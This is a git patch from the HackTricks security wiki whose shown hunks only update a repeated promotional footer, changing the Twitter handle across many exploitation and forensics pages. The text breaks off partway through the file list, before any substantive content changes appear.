From 797ab87ac5a2ffd70b9035f5890e256eae401cb7 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 5 Feb 2024 03:29:11 +0100 Subject: [PATCH] a --- .../linux-exploiting-basic-esp/README.md | 4 +- .../bypassing-canary-and-pie.md | 4 +- .../format-strings-template.md | 4 +- .../linux-exploiting-basic-esp/fusion.md | 4 +- .../linux-exploiting-basic-esp/ret2lib.md | 4 +- .../rop-leaking-libc-address/README.md | 4 +- .../rop-leaking-libc-template.md | 4 +- .../rop-syscall-execv.md | 4 +- exploiting/tools/README.md | 4 +- exploiting/tools/pwntools.md | 4 +- .../anti-forensic-techniques.md | 4 +- .../docker-forensics.md | 4 +- .../file-integrity-monitoring.md | 4 +- .../linux-forensics.md | 2 +- .../malware-analysis.md | 4 +- .../sensitive-mounts.md | 228 +++++----- ...nrolling-devices-in-other-organisations.md | 420 ++---------------- .../macos-.net-applications-injection.md | 169 ++----- .../macos-proces-abuse/macos-dirty-nib.md | 136 ++---- .../macos-pid-reuse.md | 6 +- .../macos-protocols.md | 79 ++-- .../android-applications-basics.md | 62 ++- .../content-protocol.md | 66 +-- mobile-pentesting/cordova-apps.md | 51 +-- ...060-50070-50075-50090-pentesting-hadoop.md | 25 +- .../8086-pentesting-influxdb.md | 2 +- .../ipsec-ike-vpn-pentesting.md | 36 +- .../pentesting-ldap.md | 20 +- .../unicode-normalization.md | 47 +- .../xs-search/css-injection/README.md | 117 +++-- .../performance.now-+-force-heavy-task.md | 2 +- .../xs-search/performance.now-example.md | 2 +- .../xss-cross-site-scripting/README.md | 2 +- .../xss-cross-site-scripting/pdf-injection.md | 176 +------- .../xssi-cross-site-script-inclusion.md | 67 +-- pentesting-web/xxe-xee-xml-external-entity.md | 72 +-- welcome/hacktricks-values-and-faq.md | 2 +- .../ad-certificates/certificate-theft.md | 83 ++-- .../ad-certificates/domain-escalation.md | 361 ++++++++------- .../ad-certificates/domain-persistence.md | 50 +-- .../kerberos-authentication.md | 196 +------- windows-hardening/basic-cmd-for-pentesters.md | 118 +---- .../stealing-credentials/README.md | 14 +- .../README.md | 2 +- .../dpapi-extracting-passwords.md | 94 +--- 45 files changed, 854 insertions(+), 1909 deletions(-) diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index 3f70cac52..deff517c3 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -11,7 +11,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -1095,7 +1095,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md index abfb4769a..dee81c565 100644 --- a/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md +++ b/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -176,7 +176,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/format-strings-template.md b/exploiting/linux-exploiting-basic-esp/format-strings-template.md index 26d8c7637..f474a039a 100644 --- a/exploiting/linux-exploiting-basic-esp/format-strings-template.md +++ b/exploiting/linux-exploiting-basic-esp/format-strings-template.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -165,7 +165,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/fusion.md b/exploiting/linux-exploiting-basic-esp/fusion.md index dac3db30d..ed377cf1d 100644 --- a/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/exploiting/linux-exploiting-basic-esp/fusion.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -87,7 +87,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/ret2lib.md b/exploiting/linux-exploiting-basic-esp/ret2lib.md index 7dd276701..43dda64c2 100644 --- a/exploiting/linux-exploiting-basic-esp/ret2lib.md +++ b/exploiting/linux-exploiting-basic-esp/ret2lib.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -99,7 +99,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md index d04fed790..5794ccb23 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -326,7 +326,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md index d5fed5ab6..d759fbff5 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -243,7 +243,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index 94d57e6d7..afef61443 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -185,7 +185,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 64d4c09e1..24531da75 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -231,7 +231,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/exploiting/tools/pwntools.md b/exploiting/tools/pwntools.md index 3e59c1021..8675450ff 100644 --- a/exploiting/tools/pwntools.md +++ b/exploiting/tools/pwntools.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -196,7 +196,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 963432935..905ccfeac 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -178,7 +178,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/docker-forensics.md b/forensics/basic-forensic-methodology/docker-forensics.md index 3a6b4a1f2..568cc58ca 100644 --- a/forensics/basic-forensic-methodology/docker-forensics.md +++ b/forensics/basic-forensic-methodology/docker-forensics.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. @@ -137,7 +137,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 31d79a3d6..4000b7cfc 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -9,7 +9,7 @@ Other ways to support HackTricks: * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Discover [**The PEASS 